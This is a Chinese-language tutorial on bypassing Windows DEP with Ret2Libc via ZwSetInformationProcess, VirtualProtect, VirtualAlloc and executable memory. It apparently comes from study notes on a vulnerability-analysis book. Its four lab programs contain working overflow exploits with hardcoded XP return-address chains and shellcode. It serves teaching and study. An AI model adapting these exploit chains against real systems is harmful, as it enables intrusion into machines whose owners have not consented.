数据与程序的分水岭:DEP
DEP机制的保护原理
DEP的基本原理是将数据所在内存页标识为不可执行,当程序溢出成功转入shellcode时,程序会尝试在数据页面上执行指令,此时CPU会抛出异常。
DEP按实现机制的不同,分为:
- 软件DEP
软件DEP其实就是SafeSEH。 - 硬件DEP
硬件DEP才是真正的DEP,需要CPU支持,AMD的NX和Intel的XD。实现是在内存的页面表(Page Table)中加入一个特殊的标志位(NX/XD)来标识是否允许在该页面上执行指令。
DEP的工作状态
- Optin:默认仅将DEP保护应用于Windows系统组件和服务,这种模式可以被应用程序动态关闭,多用于普通用户版的操作系统
- Optout:为排除列表程序外的所有程序和服务启动DEP,这种模式可以被应用程序动态关闭,多用于服务器版的操作系统
- AlwaysOn:对所有进程启用DEP,这种情况下DEP不可被关闭,目前只有64位操作系统工作在此模式
- AlwaysOff:对所有进程都禁用DEP,这种情况下DEP不可被开启,只有在特殊场合才会使用
程序链接选项/NXCOMPAT
:使用此选项的程序在Windows vista及后续版本会自动启用DEP保护。
利用Ret2Libc挑战DEP
Ret2Libc的整体攻击流程:
比较有效的三种攻击方法是:
- 通过跳转到
ZwSetInformationProcess
函数将DEP关闭后再转入shellcode执行 - 通过跳转到
VirtualPretect
函数将shellcode所在内存页面设置为可执行状态,再转入shellcode执行 - 通过跳转到
VIrtualAlloc
函数开辟出一段具有执行权限的内存控件,然后将shellcode复制到其中
Ret2Libc实战之利用ZwSetInformationProcess
一个进程的DEP设置标识保存在
KPROCESS
结构中的_KEXECUTE_OPTIONS
上,可通过API函数ZwQueryInformationProcess
和ZwSetInformationProcess
进行查询和修改
_KEXECUTE_OPTIONS
的结构:
_KEXECUTE_OPTIONS
Pos0ExecuteDisable:1 bit //DEP开启时被设置为1
Pos1ExecuteEnable:1 bit //DEP关闭时被设置为1
Pos2DisableThunkEmulation:1 bit //兼容ATL程序设置的
Pos3Permanent:1 bit //设置为1后,表示这些标志均不能修改
Pos4ExecuteDispatchEnable:1 bit
Pos5ImageDispatchEnable:1 bit
Pos6Spare:2 bit
ZwSetInformationProcess
函数:
ZwSetInformationProcess(
IN HANDLE ProcessHandle, //进程句柄,-1为当前进程
IN PROCESS_INFORMATION_CLASS ProcessInformationClass, //信息类
IN PVOID ProcessInformation, //可以用来设置_KEXECUTE_OPTIONS
IN ULONG ProcessInformationLength //第三个参数的长度
);
关闭DEP的参数设置:
ULONG ExecuteFlags=MEN_EXECUTE_OPTION_ENABLE;
ZwSetInformationProcess(
NtCurrentProcess(),
ProcessExecuteFlags,
&ExecuteFlags,
sizeof(ExecuteFlags)
);
微软的兼容性导致:如果一个进程的
Permanent
位没有设置,当它加载DLL时,系统会对这个DLL进行DEP兼容性检测,当存在兼容性问题时就会关闭DEP
为兼容设置了LdrpCheckNXCompatibility
函数,进程DEP被关闭的条件:
- 当DLL受SafeDisc版权保护系统保护时
- 当DLL包含有
.aspcak
、.pcle
、.sforce
等字节时 - Windows Vista下,当DLL包含在注册表“HKET_LOCAL_MACHINE\SOFTWARE\Microsoft\ Windows NT\CurrentVersion\Image File Execution Options\DllNXOptions”键下,不需要启动DEP模块
这里尝试第一种情况,Windows XP下LdrpCheckNXCompatibility
关闭DEP的流程,以SafeDisc为例:
可以通过OllyFindAddr的Disable DEP–>Disable DEP<=XP SP3来搜索关闭DEP的起始地址。
示例代码:
#include <stdlib.h>
#include <string.h>
#include <stdio.h>
#include <windows.h>
char shellcode[]=
"\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C"
"\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53"
"\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B"
"\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95"
"\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59"
"\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A"
"\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75"
"\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03"
"\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB"
"\x53\x68\x77\x65\x73\x74\x68\x66\x61\x69\x6C\x8B\xC4\x53\x50\x50"
"\x53\xFF\x57\xFC\x53\xFF\x57\xF8\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90"
"\x52\xE2\x92\x7C"//MOV EAX,1 RETN地址
"\x85\x8B\x1D\x5D"//修正EBP
"\x19\x4A\x97\x7C"//增大ESP
"\xB4\xC1\xC5\x7D"//jmp esp
"\x24\xCD\x93\x7C"//关闭DEP代码的起始位置
"\xE9\x33\xFF\xFF"//会跳指令
"\xFF\x90\x90\x90"
;
void test()
{
char tt[176];
strcpy(tt,shellcode);
}
int main()
{
HINSTANCE hInst = LoadLibrary("shell32.dll");
char temp[200];
test();
return 0;
}
我们先使用0x90
填充shellcode,获取相关信息,首先可以找到DEP关闭的起始地址:
在进入DEP关闭地址之前,要先将AL修改为1,需要找到类似MOV AL,1 RETN
的指令:
需要188个字节,然后将0x7C92E252
覆盖返回地址,会后拼接关闭DEP的地址,但是返回到EBP+4
处:
但是此时ESP低于EBP,所以需要进一步调整:
- 减小ESP
- 增大EBP
- 增大ESP到安全地址
这里选择第三种办法,增大ESP后需要跳转到ESP,然后再关闭DEP,关闭后加上回跳函数开始执行shellcode。
Ret2Libc实战之利用VirtualProtect
VirtualProtect
位于kernel32.dll
中,通过该函数用户可以指定内存的属性,包括是否可以执行
VirtualProtect函数:
BOOL VirtualProtect(
LPVOID lpAddress, //要改变属性的内存起始地址
DWORD dwSize, //要改变属性的内存区域大小
DWORD flNewProtect, //内存新的属性类型,设置为PAGE_EXECUTE_READWRITE(0x40)时该存储页为可读可写可执行
PDWORD lpflOldProtect //内存原始属性类型保存地址
);
按照如下布置,就可将shellcode所在内存设置为可执行模式:
BOOL VirtualProtect(
shellcode起始位置,
shellcode大小,
0x40,
某个可写地址
);
示例代码:
#include <stdlib.h>
#include <string.h>
#include <stdio.h>
#include <windows.h>
char shellcode[]=
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90"
"\x8A\x17\x84\x7C"//pop eax retn
"\x0A\x1A\xBF\x7C"//pop pop pop retn
"\xBA\xD9\xBB\x7C"//修正EBP
"\x8B\x17\x84\x7C"//RETN
"\x90\x90\x90\x90"
"\xBF\x7D\xC9\x77"//push esp jmp eax
"\xFF\x00\x00\x00"
"\x40\x00\x00\x00"
"\xBF\x7D\xC9\x77"//push esp jmp eax
"\x90\x90\x90\x90"
"\x90\x90\x90\x90"
"\xE8\x1F\x80\x7C"//修改内存属性
"\x90\x90\x90\x90"
"\xA4\xDE\xA2\x7C"//jmp esp
"\x90\x90\x90\x90"
"\x90\x90\x90\x90"
"\x90\x90\x90\x90"
"\x90\x90\x90\x90"
"\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C"
"\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53"
"\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B"
"\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95"
"\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59"
"\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A"
"\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75"
"\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03"
"\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB"
"\x53\x68\x77\x65\x73\x74\x68\x66\x61\x69\x6C\x8B\xC4\x53\x50\x50"
"\x53\xFF\x57\xFC\x53\xFF\x57\xF8"
;
void test()
{
char tt[176];
memcpy(tt,shellcode,420); //参数中包含00,strcpy在复制时会截断,改为攻击memcpy
}
int main()
{
HINSTANCE hInst = LoadLibrary("shell32.dll");
char temp[200];
test();
return 0;
}
Ret2Libc实战之利用VirtualAlloc
VirtualAlloc
函数用来申请一段具有可执行属性的内存,可以将Ret2Libc的第一跳设置为VirtualAlloc的地址,然后将shellcode复制到申请的内存空间。
VirtualAlloc函数:
LPVOID WINAPI VirtualAlloc(
__in_opt LPVOID lpAddress, //申请内存区域的地址,可为NULL
__in SIZE_T dwSize, //申请内存区域的大小
__in DWORD flAllocationType, //申请内存的类型
__in DWORD flProtect //申请内存的访问控制类型
);
申请成功返回申请内存的起始地址,申请失败返回NULL
示例代码:
#include <stdlib.h>
#include <string.h>
#include <stdio.h>
#include <windows.h>
char shellcode[]=
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90"
"\xBA\xD9\xBB\x7C"//修正EBP retn 4
"\xBC\x45\x82\x7C"//申请空间
"\x90\x90\x90\x90"
"\xFF\xFF\xFF\xFF"//-1当前进程
"\x00\x00\x03\x00"//申请空间起始地址
"\xFF\x00\x00\x00"//申请空间大小
"\x00\x10\x00\x00"//申请类型
"\x40\x00\x00\x00"//申请空间访问类型
"\x90\x90\x90\x90"
"\x8A\x17\x84\x7C"//pop eax retn
"\x90\x90\x90\x90"
"\x90\x90\x90\x90"
"\x90\x90\x90\x90"
"\x90\x90\x90\x90"
"\x0B\x1A\xBF\x7C"//pop pop retn
"\xBA\xD9\xBB\x7C"//修正EBP retn4
"\x5F\x78\xA6\x7C"//pop retn
"\x00\x00\x03\x00"//可执行内存空间地址,转入执行用
"\x00\x00\x03\x00"//可执行内存空间地址,拷贝用
"\xBF\x7D\xC9\x77"//push esp jmp eax && 原始shellcode起始地址
"\xFF\x00\x00\x00"//shellcode长度
"\xAC\xAF\x94\x7C"//memcpy
"\x00\x00\x03\x00"//一个可以读地址
"\x00\x00\x03\x00"//一个可以读地址
"\x00\x90\x90\x94"
"\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C"
"\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53"
"\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B"
"\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95"
"\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59"
"\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A"
"\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75"
"\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03"
"\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB"
"\x53\x68\x77\x65\x73\x74\x68\x66\x61\x69\x6C\x8B\xC4\x53\x50\x50"
"\x53\xFF\x57\xFC\x53\xFF\x57\xF8"
;
void test()
{
char tt[176];
memcpy(tt,shellcode,450);
}
int main()
{
HINSTANCE hInst = LoadLibrary("shell32.dll");
char temp[200];
test();
return 0;
}
首先通过PUSH ESP POP EBP RETN 4
修复EBP,然后调用VirtualAllocEX函数,然后就是向这个位置写入shellcode,有几点需要注意:
- memcpy的参数需要确定源内存起始地址,可使用
PUSH ESP JMP EAX
来填充 - EBP会被设置为
00000000
,需要重新修复EBP - VirtualAlloc函数返回时带16个字节的偏移
memcpy需要可执行内存空间、源shellcode起始地址以及长度,其中源内存地址参数位于EBP+0x0C
。
利用可执行内存挑战DEP
有时候进程的内存空间中会存在一段可读可写可执行的程序,将shellcode复制到这段内存,就有执行的机会。
示例代码:
#include <stdlib.h>
#include <string.h>
#include <stdio.h>
#include <windows.h>
char shellcode[]=
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90"
"\x8A\x17\x84\x7C"//pop eax retn
"\x0B\x1A\xBF\x7C"//pop pop retn
"\xBA\xD9\xBB\x7C"//修正EBP retn 4
"\x5F\x78\xA6\x7C"//pop retn
"\x08\x00\x14\x00"//弹出对机器码在可执行空间的起始地址,转入执行用
"\x00\x00\x14\x00"//可执行内存空间地址,拷贝用
"\xBF\x7D\xC9\x77"//push esp jmp eax && 原始shellcode起始地址
"\xFF\x00\x00\x00"//shellcode长度
"\xAC\xAF\x94\x7C"//memcpy
"\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C"
"\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53"
"\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B"
"\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95"
"\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59"
"\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A"
"\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75"
"\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03"
"\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB"
"\x53\x68\x77\x65\x73\x74\x68\x66\x61\x69\x6C\x8B\xC4\x53\x50\x50"
"\x53\xFF\x57\xFC\x53\xFF\x57\xF8"
;
void test()
{
char tt[176];
memcpy(tt,shellcode,450);
}
int main()
{
HINSTANCE hInst = LoadLibrary("shell32.dll");
char temp[200];
test();
return 0;
}
参考文献
《0day安全:软件漏洞分析技术》